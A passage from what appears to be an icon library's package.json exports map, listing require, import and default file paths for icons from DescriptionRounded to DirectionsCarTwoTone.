\"./DescriptionRounded.js\",\n      \"import\": \"./DescriptionRounded.mjs\",\n      \"default\": \"./DescriptionRounded.mjs\"\n    },\n    \"./DescriptionSharp\": {\n      \"require\": \"./DescriptionSharp.js\",\n      \"import\": \"./DescriptionSharp.mjs\",\n      \"default\": \"./DescriptionSharp.mjs\"\n    },\n    \"./DescriptionTwoTone\": {\n      \"require\": \"./DescriptionTwoTone.js\",\n      \"import\": \"./DescriptionTwoTone.mjs\",\n      \"default\": \"./DescriptionTwoTone.mjs\"\n    },\n    \"./Deselect\": {\n      \"require\": \"./Deselect.js\",\n      \"import\": \"./Deselect.mjs\",\n      \"default\": \"./Deselect.mjs\"\n    },\n    \"./DeselectOutlined\": {\n      \"require\": \"./DeselectOutlined.js\",\n      \"import\": \"./DeselectOutlined.mjs\",\n      \"default\": \"./DeselectOutlined.mjs\"\n    },\n    \"./DeselectRounded\": {\n      \"require\": \"./DeselectRounded.js\",\n      \"import\": \"./DeselectRounded.mjs\",\n      \"default\": \"./DeselectRounded.mjs\"\n    },\n    \"./DeselectSharp\": {\n      \"require\": \"./DeselectSharp.js\",\n      \"import\": \"./DeselectSharp.mjs\",\n      \"default\": \"./DeselectSharp.mjs\"\n    },\n    \"./DeselectTwoTone\": {\n      \"require\": \"./DeselectTwoTone.js\",\n      \"import\": \"./DeselectTwoTone.mjs\",\n      \"default\": \"./DeselectTwoTone.mjs\"\n    },\n    \"./DesignServices\": {\n      \"require\": \"./DesignServices.js\",\n      \"import\": \"./DesignServices.mjs\",\n      \"default\": \"./DesignServices.mjs\"\n    },\n    \"./DesignServicesOutlined\": {\n      \"require\": \"./DesignServicesOutlined.js\",\n      \"import\": \"./DesignServicesOutlined.mjs\",\n      \"default\": \"./DesignServicesOutlined.mjs\"\n    },\n    \"./DesignServicesRounded\": {\n      \"require\": \"./DesignServicesRounded.js\",\n      \"import\": \"./DesignServicesRounded.mjs\",\n      \"default\": \"./DesignServicesRounded.mjs\"\n    },\n    \"./DesignServicesSharp\": {\n      \"require\": \"./DesignServicesSharp.js\",\n      \"import\": \"./DesignServicesSharp.mjs\",\n      \"default\": \"./DesignServicesSharp.mjs\"\n    },\n    \"./DesignServicesTwoTone\": {\n      \"require\": \"./DesignServicesTwoTone.js\",\n      \"import\": \"./DesignServicesTwoTone.mjs\",\n      \"default\": \"./DesignServicesTwoTone.mjs\"\n    },\n    \"./Desk\": {\n      \"require\": \"./Desk.js\",\n      \"import\": \"./Desk.mjs\",\n      \"default\": \"./Desk.mjs\"\n    },\n    \"./DeskOutlined\": {\n      \"require\": \"./DeskOutlined.js\",\n      \"import\": \"./DeskOutlined.mjs\",\n      \"default\": \"./DeskOutlined.mjs\"\n    },\n    \"./DeskRounded\": {\n      \"require\": \"./DeskRounded.js\",\n      \"import\": \"./DeskRounded.mjs\",\n      \"default\": \"./DeskRounded.mjs\"\n    },\n    \"./DeskSharp\": {\n      \"require\": \"./DeskSharp.js\",\n      \"import\": \"./DeskSharp.mjs\",\n      \"default\": \"./DeskSharp.mjs\"\n    },\n    \"./DeskTwoTone\": {\n      \"require\": \"./DeskTwoTone.js\",\n      \"import\": \"./DeskTwoTone.mjs\",\n      \"default\": \"./DeskTwoTone.mjs\"\n    },\n    \"./DesktopAccessDisabled\": {\n      \"require\": \"./DesktopAccessDisabled.js\",\n      \"import\": \"./DesktopAccessDisabled.mjs\",\n      \"default\": \"./DesktopAccessDisabled.mjs\"\n    },\n    \"./DesktopAccessDisabledOutlined\": {\n      \"import\": \"./DesktopAccessDisabledOutlined.mjs\",\n      \"require\": \"./DesktopAccessDisabledOutlined.js\",\n      \"default\": \"./DesktopAccessDisabledOutlined.mjs\"\n    },\n    \"./DesktopAccessDisabledRounded\": {\n      \"import\": \"./DesktopAccessDisabledRounded.mjs\",\n      \"require\": \"./DesktopAccessDisabledRounded.js\",\n      \"default\": \"./DesktopAccessDisabledRounded.mjs\"\n    },\n    \"./DesktopAccessDisabledSharp\": {\n      \"require\": \"./DesktopAccessDisabledSharp.js\",\n      \"import\": \"./DesktopAccessDisabledSharp.mjs\",\n      \"default\": \"./DesktopAccessDisabledSharp.mjs\"\n    },\n    \"./DesktopAccessDisabledTwoTone\": {\n      \"require\": \"./DesktopAccessDisabledTwoTone.js\",\n      \"import\": \"./DesktopAccessDisabledTwoTone.mjs\",\n      \"default\": \"./DesktopAccessDisabledTwoTone.mjs\"\n    },\n    \"./DesktopMac\": {\n      \"import\": \"./DesktopMac.mjs\",\n      \"require\": \"./DesktopMac.js\",\n      \"default\": \"./DesktopMac.mjs\"\n    },\n    \"./DesktopMacOutlined\": {\n      \"import\": \"./DesktopMacOutlined.mjs\",\n      \"require\": \"./DesktopMacOutlined.js\",\n      \"default\": \"./DesktopMacOutlined.mjs\"\n    },\n    \"./DesktopMacRounded\": {\n      \"import\": \"./DesktopMacRounded.mjs\",\n      \"require\": \"./DesktopMacRounded.js\",\n      \"default\": \"./DesktopMacRounded.mjs\"\n    },\n    \"./DesktopMacSharp\": {\n      \"import\": \"./DesktopMacSharp.mjs\",\n      \"require\": \"./DesktopMacSharp.js\",\n      \"default\": \"./DesktopMacSharp.mjs\"\n    },\n    \"./DesktopMacTwoTone\": {\n      \"import\": \"./DesktopMacTwoTone.mjs\",\n      \"require\": \"./DesktopMacTwoTone.js\",\n      \"default\": \"./DesktopMacTwoTone.mjs\"\n    },\n    \"./DesktopWindows\": {\n      \"import\": \"./DesktopWindows.mjs\",\n      \"require\": \"./DesktopWindows.js\",\n      \"default\": \"./DesktopWindows.mjs\"\n    },\n    \"./DesktopWindowsOutlined\": {\n      \"import\": \"./DesktopWindowsOutlined.mjs\",\n      \"require\": \"./DesktopWindowsOutlined.js\",\n      \"default\": \"./DesktopWindowsOutlined.mjs\"\n    },\n    \"./DesktopWindowsRounded\": {\n      \"import\": \"./DesktopWindowsRounded.mjs\",\n      \"require\": \"./DesktopWindowsRounded.js\",\n      \"default\": \"./DesktopWindowsRounded.mjs\"\n    },\n    \"./DesktopWindowsSharp\": {\n      \"import\": \"./DesktopWindowsSharp.mjs\",\n      \"require\": \"./DesktopWindowsSharp.js\",\n      \"default\": \"./DesktopWindowsSharp.mjs\"\n    },\n    \"./DesktopWindowsTwoTone\": {\n      \"import\": \"./DesktopWindowsTwoTone.mjs\",\n      \"require\": \"./DesktopWindowsTwoTone.js\",\n      \"default\": \"./DesktopWindowsTwoTone.mjs\"\n    },\n    \"./Details\": {\n      \"import\": \"./Details.mjs\",\n      \"require\": \"./Details.js\",\n      \"default\": \"./Details.mjs\"\n    },\n    \"./DetailsOutlined\": {\n      \"import\": \"./DetailsOutlined.mjs\",\n      \"require\": \"./DetailsOutlined.js\",\n      \"default\": \"./DetailsOutlined.mjs\"\n    },\n    \"./DetailsRounded\": {\n      \"import\": \"./DetailsRounded.mjs\",\n      \"require\": \"./DetailsRounded.js\",\n      \"default\": \"./DetailsRounded.mjs\"\n    },\n    \"./DetailsSharp\": {\n      \"import\": \"./DetailsSharp.mjs\",\n      \"require\": \"./DetailsSharp.js\",\n      \"default\": \"./DetailsSharp.mjs\"\n    },\n    \"./DetailsTwoTone\": {\n      \"import\": \"./DetailsTwoTone.mjs\",\n      \"require\": \"./DetailsTwoTone.js\",\n      \"default\": \"./DetailsTwoTone.mjs\"\n    },\n    \"./DeveloperBoard\": {\n      \"import\": \"./DeveloperBoard.mjs\",\n      \"require\": \"./DeveloperBoard.js\",\n      \"default\": \"./DeveloperBoard.mjs\"\n    },\n    \"./DeveloperBoardOff\": {\n      \"import\": \"./DeveloperBoardOff.mjs\",\n      \"require\": \"./DeveloperBoardOff.js\",\n      \"default\": \"./DeveloperBoardOff.mjs\"\n    },\n    \"./DeveloperBoardOffOutlined\": {\n      \"import\": \"./DeveloperBoardOffOutlined.mjs\",\n      \"require\": \"./DeveloperBoardOffOutlined.js\",\n      \"default\": \"./DeveloperBoardOffOutlined.mjs\"\n    },\n    \"./DeveloperBoardOffRounded\": {\n      \"import\": \"./DeveloperBoardOffRounded.mjs\",\n      \"require\": \"./DeveloperBoardOffRounded.js\",\n      \"default\": \"./DeveloperBoardOffRounded.mjs\"\n    },\n    \"./DeveloperBoardOffSharp\": {\n      \"import\": \"./DeveloperBoardOffSharp.mjs\",\n      \"require\": \"./DeveloperBoardOffSharp.js\",\n      \"default\": \"./DeveloperBoardOffSharp.mjs\"\n    },\n    \"./DeveloperBoardOffTwoTone\": {\n      \"import\": \"./DeveloperBoardOffTwoTone.mjs\",\n      \"require\": \"./DeveloperBoardOffTwoTone.js\",\n      \"default\": \"./DeveloperBoardOffTwoTone.mjs\"\n    },\n    \"./DeveloperBoardOutlined\": {\n      \"import\": \"./DeveloperBoardOutlined.mjs\",\n      \"require\": \"./DeveloperBoardOutlined.js\",\n      \"default\": \"./DeveloperBoardOutlined.mjs\"\n    },\n    \"./DeveloperBoardRounded\": {\n      \"import\": \"./DeveloperBoardRounded.mjs\",\n      \"require\": \"./DeveloperBoardRounded.js\",\n      \"default\": \"./DeveloperBoardRounded.mjs\"\n    },\n    \"./DeveloperBoardSharp\": {\n      \"import\": \"./DeveloperBoardSharp.mjs\",\n      \"require\": \"./DeveloperBoardSharp.js\",\n      \"default\": \"./DeveloperBoardSharp.mjs\"\n    },\n    \"./DeveloperBoardTwoTone\": {\n      \"import\": \"./DeveloperBoardTwoTone.mjs\",\n      \"require\": \"./DeveloperBoardTwoTone.js\",\n      \"default\": \"./DeveloperBoardTwoTone.mjs\"\n    },\n    \"./DeveloperMode\": {\n      \"import\": \"./DeveloperMode.mjs\",\n      \"require\": \"./DeveloperMode.js\",\n      \"default\": \"./DeveloperMode.mjs\"\n    },\n    \"./DeveloperModeOutlined\": {\n      \"import\": \"./DeveloperModeOutlined.mjs\",\n      \"require\": \"./DeveloperModeOutlined.js\",\n      \"default\": \"./DeveloperModeOutlined.mjs\"\n    },\n    \"./DeveloperModeRounded\": {\n      \"import\": \"./DeveloperModeRounded.mjs\",\n      \"require\": \"./DeveloperModeRounded.js\",\n      \"default\": \"./DeveloperModeRounded.mjs\"\n    },\n    \"./DeveloperModeSharp\": {\n      \"import\": \"./DeveloperModeSharp.mjs\",\n      \"require\": \"./DeveloperModeSharp.js\",\n      \"default\": \"./DeveloperModeSharp.mjs\"\n    },\n    \"./DeveloperModeTwoTone\": {\n      \"import\": \"./DeveloperModeTwoTone.mjs\",\n      \"require\": \"./DeveloperModeTwoTone.js\",\n      \"default\": \"./DeveloperModeTwoTone.mjs\"\n    },\n    \"./DeviceHub\": {\n      \"require\": \"./DeviceHub.js\",\n      \"import\": \"./DeviceHub.mjs\",\n      \"default\": \"./DeviceHub.mjs\"\n    },\n    \"./DeviceHubOutlined\": {\n      \"require\": \"./DeviceHubOutlined.js\",\n      \"import\": \"./DeviceHubOutlined.mjs\",\n      \"default\": \"./DeviceHubOutlined.mjs\"\n    },\n    \"./DeviceHubRounded\": {\n      \"require\": \"./DeviceHubRounded.js\",\n      \"import\": \"./DeviceHubRounded.mjs\",\n      \"default\": \"./DeviceHubRounded.mjs\"\n    },\n    \"./DeviceHubSharp\": {\n      \"require\": \"./DeviceHubSharp.js\",\n      \"import\": \"./DeviceHubSharp.mjs\",\n      \"default\": \"./DeviceHubSharp.mjs\"\n    },\n    \"./DeviceHubTwoTone\": {\n      \"require\": \"./DeviceHubTwoTone.js\",\n      \"import\": \"./DeviceHubTwoTone.mjs\",\n      \"default\": \"./DeviceHubTwoTone.mjs\"\n    },\n    \"./DeviceThermostat\": {\n      \"require\": \"./DeviceThermostat.js\",\n      \"import\": \"./DeviceThermostat.mjs\",\n      \"default\": \"./DeviceThermostat.mjs\"\n    },\n    \"./DeviceThermostatOutlined\": {\n      \"require\": \"./DeviceThermostatOutlined.js\",\n      \"import\": \"./DeviceThermostatOutlined.mjs\",\n      \"default\": \"./DeviceThermostatOutlined.mjs\"\n    },\n    \"./DeviceThermostatRounded\": {\n      \"require\": \"./DeviceThermostatRounded.js\",\n      \"import\": \"./DeviceThermostatRounded.mjs\",\n      \"default\": \"./DeviceThermostatRounded.mjs\"\n    },\n    \"./DeviceThermostatSharp\": {\n      \"import\": \"./DeviceThermostatSharp.mjs\",\n      \"require\": \"./DeviceThermostatSharp.js\",\n      \"default\": \"./DeviceThermostatSharp.mjs\"\n    },\n    \"./DeviceThermostatTwoTone\": {\n      \"import\": \"./DeviceThermostatTwoTone.mjs\",\n      \"require\": \"./DeviceThermostatTwoTone.js\",\n      \"default\": \"./DeviceThermostatTwoTone.mjs\"\n    },\n    \"./DeviceUnknown\": {\n      \"import\": \"./DeviceUnknown.mjs\",\n      \"require\": \"./DeviceUnknown.js\",\n      \"default\": \"./DeviceUnknown.mjs\"\n    },\n    \"./DeviceUnknownOutlined\": {\n      \"import\": \"./DeviceUnknownOutlined.mjs\",\n      \"require\": \"./DeviceUnknownOutlined.js\",\n      \"default\": \"./DeviceUnknownOutlined.mjs\"\n    },\n    \"./DeviceUnknownRounded\": {\n      \"import\": \"./DeviceUnknownRounded.mjs\",\n      \"require\": \"./DeviceUnknownRounded.js\",\n      \"default\": \"./DeviceUnknownRounded.mjs\"\n    },\n    \"./DeviceUnknownSharp\": {\n      \"require\": \"./DeviceUnknownSharp.js\",\n      \"import\": \"./DeviceUnknownSharp.mjs\",\n      \"default\": \"./DeviceUnknownSharp.mjs\"\n    },\n    \"./DeviceUnknownTwoTone\": {\n      \"require\": \"./DeviceUnknownTwoTone.js\",\n      \"import\": \"./DeviceUnknownTwoTone.mjs\",\n      \"default\": \"./DeviceUnknownTwoTone.mjs\"\n    },\n    \"./Devices\": {\n      \"require\": \"./Devices.js\",\n      \"import\": \"./Devices.mjs\",\n      \"default\": \"./Devices.mjs\"\n    },\n    \"./DevicesFold\": {\n      \"require\": \"./DevicesFold.js\",\n      \"import\": \"./DevicesFold.mjs\",\n      \"default\": \"./DevicesFold.mjs\"\n    },\n    \"./DevicesFoldOutlined\": {\n      \"require\": \"./DevicesFoldOutlined.js\",\n      \"import\": \"./DevicesFoldOutlined.mjs\",\n      \"default\": \"./DevicesFoldOutlined.mjs\"\n    },\n    \"./DevicesFoldRounded\": {\n      \"require\": \"./DevicesFoldRounded.js\",\n      \"import\": \"./DevicesFoldRounded.mjs\",\n      \"default\": \"./DevicesFoldRounded.mjs\"\n    },\n    \"./DevicesFoldSharp\": {\n      \"require\": \"./DevicesFoldSharp.js\",\n      \"import\": \"./DevicesFoldSharp.mjs\",\n      \"default\": \"./DevicesFoldSharp.mjs\"\n    },\n    \"./DevicesFoldTwoTone\": {\n      \"import\": \"./DevicesFoldTwoTone.mjs\",\n      \"require\": \"./DevicesFoldTwoTone.js\",\n      \"default\": \"./DevicesFoldTwoTone.mjs\"\n    },\n    \"./DevicesOther\": {\n      \"import\": \"./DevicesOther.mjs\",\n      \"require\": \"./DevicesOther.js\",\n      \"default\": \"./DevicesOther.mjs\"\n    },\n    \"./DevicesOtherOutlined\": {\n      \"import\": \"./DevicesOtherOutlined.mjs\",\n      \"require\": \"./DevicesOtherOutlined.js\",\n      \"default\": \"./DevicesOtherOutlined.mjs\"\n    },\n    \"./DevicesOtherRounded\": {\n      \"import\": \"./DevicesOtherRounded.mjs\",\n      \"require\": \"./DevicesOtherRounded.js\",\n      \"default\": \"./DevicesOtherRounded.mjs\"\n    },\n    \"./DevicesOtherSharp\": {\n      \"import\": \"./DevicesOtherSharp.mjs\",\n      \"require\": \"./DevicesOtherSharp.js\",\n      \"default\": \"./DevicesOtherSharp.mjs\"\n    },\n    \"./DevicesOtherTwoTone\": {\n      \"import\": \"./DevicesOtherTwoTone.mjs\",\n      \"require\": \"./DevicesOtherTwoTone.js\",\n      \"default\": \"./DevicesOtherTwoTone.mjs\"\n    },\n    \"./DevicesOutlined\": {\n      \"import\": \"./DevicesOutlined.mjs\",\n      \"require\": \"./DevicesOutlined.js\",\n      \"default\": \"./DevicesOutlined.mjs\"\n    },\n    \"./DevicesRounded\": {\n      \"import\": \"./DevicesRounded.mjs\",\n      \"require\": \"./DevicesRounded.js\",\n      \"default\": \"./DevicesRounded.mjs\"\n    },\n    \"./DevicesSharp\": {\n      \"import\": \"./DevicesSharp.mjs\",\n      \"require\": \"./DevicesSharp.js\",\n      \"default\": \"./DevicesSharp.mjs\"\n    },\n    \"./DevicesTwoTone\": {\n      \"import\": \"./DevicesTwoTone.mjs\",\n      \"require\": \"./DevicesTwoTone.js\",\n      \"default\": \"./DevicesTwoTone.mjs\"\n    },\n    \"./DewPoint\": {\n      \"import\": \"./DewPoint.mjs\",\n      \"require\": \"./DewPoint.js\",\n      \"default\": \"./DewPoint.mjs\"\n    },\n    \"./DialerSip\": {\n      \"import\": \"./DialerSip.mjs\",\n      \"require\": \"./DialerSip.js\",\n      \"default\": \"./DialerSip.mjs\"\n    },\n    \"./DialerSipOutlined\": {\n      \"import\": \"./DialerSipOutlined.mjs\",\n      \"require\": \"./DialerSipOutlined.js\",\n      \"default\": \"./DialerSipOutlined.mjs\"\n    },\n    \"./DialerSipRounded\": {\n      \"import\": \"./DialerSipRounded.mjs\",\n      \"require\": \"./DialerSipRounded.js\",\n      \"default\": \"./DialerSipRounded.mjs\"\n    },\n    \"./DialerSipSharp\": {\n      \"import\": \"./DialerSipSharp.mjs\",\n      \"require\": \"./DialerSipSharp.js\",\n      \"default\": \"./DialerSipSharp.mjs\"\n    },\n    \"./DialerSipTwoTone\": {\n      \"import\": \"./DialerSipTwoTone.mjs\",\n      \"require\": \"./DialerSipTwoTone.js\",\n      \"default\": \"./DialerSipTwoTone.mjs\"\n    },\n    \"./Dialpad\": {\n      \"import\": \"./Dialpad.mjs\",\n      \"require\": \"./Dialpad.js\",\n      \"default\": \"./Dialpad.mjs\"\n    },\n    \"./DialpadOutlined\": {\n      \"import\": \"./DialpadOutlined.mjs\",\n      \"require\": \"./DialpadOutlined.js\",\n      \"default\": \"./DialpadOutlined.mjs\"\n    },\n    \"./DialpadRounded\": {\n      \"import\": \"./DialpadRounded.mjs\",\n      \"require\": \"./DialpadRounded.js\",\n      \"default\": \"./DialpadRounded.mjs\"\n    },\n    \"./DialpadSharp\": {\n      \"import\": \"./DialpadSharp.mjs\",\n      \"require\": \"./DialpadSharp.js\",\n      \"default\": \"./DialpadSharp.mjs\"\n    },\n    \"./DialpadTwoTone\": {\n      \"import\": \"./DialpadTwoTone.mjs\",\n      \"require\": \"./DialpadTwoTone.js\",\n      \"default\": \"./DialpadTwoTone.mjs\"\n    },\n    \"./Diamond\": {\n      \"import\": \"./Diamond.mjs\",\n      \"require\": \"./Diamond.js\",\n      \"default\": \"./Diamond.mjs\"\n    },\n    \"./DiamondOutlined\": {\n      \"import\": \"./DiamondOutlined.mjs\",\n      \"require\": \"./DiamondOutlined.js\",\n      \"default\": \"./DiamondOutlined.mjs\"\n    },\n    \"./DiamondRounded\": {\n      \"import\": \"./DiamondRounded.mjs\",\n      \"require\": \"./DiamondRounded.js\",\n      \"default\": \"./DiamondRounded.mjs\"\n    },\n    \"./DiamondSharp\": {\n      \"import\": \"./DiamondSharp.mjs\",\n      \"require\": \"./DiamondSharp.js\",\n      \"default\": \"./DiamondSharp.mjs\"\n    },\n    \"./DiamondTwoTone\": {\n      \"import\": \"./DiamondTwoTone.mjs\",\n      \"require\": \"./DiamondTwoTone.js\",\n      \"default\": \"./DiamondTwoTone.mjs\"\n    },\n    \"./Difference\": {\n      \"import\": \"./Difference.mjs\",\n      \"require\": \"./Difference.js\",\n      \"default\": \"./Difference.mjs\"\n    },\n    \"./DifferenceOutlined\": {\n      \"import\": \"./DifferenceOutlined.mjs\",\n      \"require\": \"./DifferenceOutlined.js\",\n      \"default\": \"./DifferenceOutlined.mjs\"\n    },\n    \"./DifferenceRounded\": {\n      \"import\": \"./DifferenceRounded.mjs\",\n      \"require\": \"./DifferenceRounded.js\",\n      \"default\": \"./DifferenceRounded.mjs\"\n    },\n    \"./DifferenceSharp\": {\n      \"import\": \"./DifferenceSharp.mjs\",\n      \"require\": \"./DifferenceSharp.js\",\n      \"default\": \"./DifferenceSharp.mjs\"\n    },\n    \"./DifferenceTwoTone\": {\n      \"require\": \"./DifferenceTwoTone.js\",\n      \"import\": \"./DifferenceTwoTone.mjs\",\n      \"default\": \"./DifferenceTwoTone.mjs\"\n    },\n    \"./Dining\": {\n      \"require\": \"./Dining.js\",\n      \"import\": \"./Dining.mjs\",\n      \"default\": \"./Dining.mjs\"\n    },\n    \"./DiningOutlined\": {\n      \"require\": \"./DiningOutlined.js\",\n      \"import\": \"./DiningOutlined.mjs\",\n      \"default\": \"./DiningOutlined.mjs\"\n    },\n    \"./DiningRounded\": {\n      \"require\": \"./DiningRounded.js\",\n      \"import\": \"./DiningRounded.mjs\",\n      \"default\": \"./DiningRounded.mjs\"\n    },\n    \"./DiningSharp\": {\n      \"require\": \"./DiningSharp.js\",\n      \"import\": \"./DiningSharp.mjs\",\n      \"default\": \"./DiningSharp.mjs\"\n    },\n    \"./DiningTwoTone\": {\n      \"require\": \"./DiningTwoTone.js\",\n      \"import\": \"./DiningTwoTone.mjs\",\n      \"default\": \"./DiningTwoTone.mjs\"\n    },\n    \"./DinnerDining\": {\n      \"require\": \"./DinnerDining.js\",\n      \"import\": \"./DinnerDining.mjs\",\n      \"default\": \"./DinnerDining.mjs\"\n    },\n    \"./DinnerDiningOutlined\": {\n      \"require\": \"./DinnerDiningOutlined.js\",\n      \"import\": \"./DinnerDiningOutlined.mjs\",\n      \"default\": \"./DinnerDiningOutlined.mjs\"\n    },\n    \"./DinnerDiningRounded\": {\n      \"require\": \"./DinnerDiningRounded.js\",\n      \"import\": \"./DinnerDiningRounded.mjs\",\n      \"default\": \"./DinnerDiningRounded.mjs\"\n    },\n    \"./DinnerDiningSharp\": {\n      \"require\": \"./DinnerDiningSharp.js\",\n      \"import\": \"./DinnerDiningSharp.mjs\",\n      \"default\": \"./DinnerDiningSharp.mjs\"\n    },\n    \"./DinnerDiningTwoTone\": {\n      \"require\": \"./DinnerDiningTwoTone.js\",\n      \"import\": \"./DinnerDiningTwoTone.mjs\",\n      \"default\": \"./DinnerDiningTwoTone.mjs\"\n    },\n    \"./Directions\": {\n      \"require\": \"./Directions.js\",\n      \"import\": \"./Directions.mjs\",\n      \"default\": \"./Directions.mjs\"\n    },\n    \"./DirectionsBike\": {\n      \"require\": \"./DirectionsBike.js\",\n      \"import\": \"./DirectionsBike.mjs\",\n      \"default\": \"./DirectionsBike.mjs\"\n    },\n    \"./DirectionsBikeOutlined\": {\n      \"require\": \"./DirectionsBikeOutlined.js\",\n      \"import\": \"./DirectionsBikeOutlined.mjs\",\n      \"default\": \"./DirectionsBikeOutlined.mjs\"\n    },\n    \"./DirectionsBikeRounded\": {\n      \"require\": \"./DirectionsBikeRounded.js\",\n      \"import\": \"./DirectionsBikeRounded.mjs\",\n      \"default\": \"./DirectionsBikeRounded.mjs\"\n    },\n    \"./DirectionsBikeSharp\": {\n      \"require\": \"./DirectionsBikeSharp.js\",\n      \"import\": \"./DirectionsBikeSharp.mjs\",\n      \"default\": \"./DirectionsBikeSharp.mjs\"\n    },\n    \"./DirectionsBikeTwoTone\": {\n      \"require\": \"./DirectionsBikeTwoTone.js\",\n      \"import\": \"./DirectionsBikeTwoTone.mjs\",\n      \"default\": \"./DirectionsBikeTwoTone.mjs\"\n    },\n    \"./DirectionsBoat\": {\n      \"require\": \"./DirectionsBoat.js\",\n      \"import\": \"./DirectionsBoat.mjs\",\n      \"default\": \"./DirectionsBoat.mjs\"\n    },\n    \"./DirectionsBoatFilled\": {\n      \"require\": \"./DirectionsBoatFilled.js\",\n      \"import\": \"./DirectionsBoatFilled.mjs\",\n      \"default\": \"./DirectionsBoatFilled.mjs\"\n    },\n    \"./DirectionsBoatFilledOutlined\": {\n      \"require\": \"./DirectionsBoatFilledOutlined.js\",\n      \"import\": \"./DirectionsBoatFilledOutlined.mjs\",\n      \"default\": \"./DirectionsBoatFilledOutlined.mjs\"\n    },\n    \"./DirectionsBoatFilledRounded\": {\n      \"require\": \"./DirectionsBoatFilledRounded.js\",\n      \"import\": \"./DirectionsBoatFilledRounded.mjs\",\n      \"default\": \"./DirectionsBoatFilledRounded.mjs\"\n    },\n    \"./DirectionsBoatFilledSharp\": {\n      \"require\": \"./DirectionsBoatFilledSharp.js\",\n      \"import\": \"./DirectionsBoatFilledSharp.mjs\",\n      \"default\": \"./DirectionsBoatFilledSharp.mjs\"\n    },\n    \"./DirectionsBoatFilledTwoTone\": {\n      \"require\": \"./DirectionsBoatFilledTwoTone.js\",\n      \"import\": \"./DirectionsBoatFilledTwoTone.mjs\",\n      \"default\": \"./DirectionsBoatFilledTwoTone.mjs\"\n    },\n    \"./DirectionsBoatOutlined\": {\n      \"import\": \"./DirectionsBoatOutlined.mjs\",\n      \"require\": \"./DirectionsBoatOutlined.js\",\n      \"default\": \"./DirectionsBoatOutlined.mjs\"\n    },\n    \"./DirectionsBoatRounded\": {\n      \"import\": \"./DirectionsBoatRounded.mjs\",\n      \"require\": \"./DirectionsBoatRounded.js\",\n      \"default\": \"./DirectionsBoatRounded.mjs\"\n    },\n    \"./DirectionsBoatSharp\": {\n      \"import\": \"./DirectionsBoatSharp.mjs\",\n      \"require\": \"./DirectionsBoatSharp.js\",\n      \"default\": \"./DirectionsBoatSharp.mjs\"\n    },\n    \"./DirectionsBoatTwoTone\": {\n      \"import\": \"./DirectionsBoatTwoTone.mjs\",\n      \"require\": \"./DirectionsBoatTwoTone.js\",\n      \"default\": \"./DirectionsBoatTwoTone.mjs\"\n    },\n    \"./DirectionsBus\": {\n      \"import\": \"./DirectionsBus.mjs\",\n      \"require\": \"./DirectionsBus.js\",\n      \"default\": \"./DirectionsBus.mjs\"\n    },\n    \"./DirectionsBusFilled\": {\n      \"import\": \"./DirectionsBusFilled.mjs\",\n      \"require\": \"./DirectionsBusFilled.js\",\n      \"default\": \"./DirectionsBusFilled.mjs\"\n    },\n    \"./DirectionsBusFilledOutlined\": {\n      \"import\": \"./DirectionsBusFilledOutlined.mjs\",\n      \"require\": \"./DirectionsBusFilledOutlined.js\",\n      \"default\": \"./DirectionsBusFilledOutlined.mjs\"\n    },\n    \"./DirectionsBusFilledRounded\": {\n      \"import\": \"./DirectionsBusFilledRounded.mjs\",\n      \"require\": \"./DirectionsBusFilledRounded.js\",\n      \"default\": \"./DirectionsBusFilledRounded.mjs\"\n    },\n    \"./DirectionsBusFilledSharp\": {\n      \"import\": \"./DirectionsBusFilledSharp.mjs\",\n      \"require\": \"./DirectionsBusFilledSharp.js\",\n      \"default\": \"./DirectionsBusFilledSharp.mjs\"\n    },\n    \"./DirectionsBusFilledTwoTone\": {\n      \"import\": \"./DirectionsBusFilledTwoTone.mjs\",\n      \"require\": \"./DirectionsBusFilledTwoTone.js\",\n      \"default\": \"./DirectionsBusFilledTwoTone.mjs\"\n    },\n    \"./DirectionsBusOutlined\": {\n      \"import\": \"./DirectionsBusOutlined.mjs\",\n      \"require\": \"./DirectionsBusOutlined.js\",\n      \"default\": \"./DirectionsBusOutlined.mjs\"\n    },\n    \"./DirectionsBusRounded\": {\n      \"import\": \"./DirectionsBusRounded.mjs\",\n      \"require\": \"./DirectionsBusRounded.js\",\n      \"default\": \"./DirectionsBusRounded.mjs\"\n    },\n    \"./DirectionsBusSharp\": {\n      \"import\": \"./DirectionsBusSharp.mjs\",\n      \"require\": \"./DirectionsBusSharp.js\",\n      \"default\": \"./DirectionsBusSharp.mjs\"\n    },\n    \"./DirectionsBusTwoTone\": {\n      \"import\": \"./DirectionsBusTwoTone.mjs\",\n      \"require\": \"./DirectionsBusTwoTone.js\",\n      \"default\": \"./DirectionsBusTwoTone.mjs\"\n    },\n    \"./DirectionsCar\": {\n      \"import\": \"./DirectionsCar.mjs\",\n      \"require\": \"./DirectionsCar.js\",\n      \"default\": \"./DirectionsCar.mjs\"\n    },\n    \"./DirectionsCarFilled\": {\n      \"import\": \"./DirectionsCarFilled.mjs\",\n      \"require\": \"./DirectionsCarFilled.js\",\n      \"default\": \"./DirectionsCarFilled.mjs\"\n    },\n    \"./DirectionsCarFilledOutlined\": {\n      \"import\": \"./DirectionsCarFilledOutlined.mjs\",\n      \"require\": \"./DirectionsCarFilledOutlined.js\",\n      \"default\": \"./DirectionsCarFilledOutlined.mjs\"\n    },\n    \"./DirectionsCarFilledRounded\": {\n      \"import\": \"./DirectionsCarFilledRounded.mjs\",\n      \"require\": \"./DirectionsCarFilledRounded.js\",\n      \"default\": \"./DirectionsCarFilledRounded.mjs\"\n    },\n    \"./DirectionsCarFilledSharp\": {\n      \"import\": \"./DirectionsCarFilledSharp.mjs\",\n      \"require\": \"./DirectionsCarFilledSharp.js\",\n      \"default\": \"./DirectionsCarFilledSharp.mjs\"\n    },\n    \"./DirectionsCarFilledTwoTone\": {\n      \"import\": \"./DirectionsCarFilledTwoTone.mjs\",\n      \"require\": \"./DirectionsCarFilledTwoTone.js\",\n      \"default\": \"./DirectionsCarFilledTwoTone.mjs\"\n    },\n    \"./DirectionsCarOutlined\": {\n      \"import\": \"./DirectionsCarOutlined.mjs\",\n      \"require\": \"./DirectionsCarOutlined.js\",\n      \"default\": \"./DirectionsCarOutlined.mjs\"\n    },\n    \"./DirectionsCarRounded\": {\n      \"import\": \"./DirectionsCarRounded.mjs\",\n      \"require\": \"./DirectionsCarRounded.js\",\n      \"default\": \"./DirectionsCarRounded.mjs\"\n    },\n    \"./DirectionsCarSharp\": {\n      \"import\": \"./DirectionsCarSharp.mjs\",\n      \"require\": \"./DirectionsCarSharp.js\",\n      \"default\": \"./DirectionsCarSharp.mjs\"\n    },\n    \"./DirectionsCarTwoTone\": {\n      \"import\": \"./DirectionsCarTwoTone.mjs\",\n      \"require\": 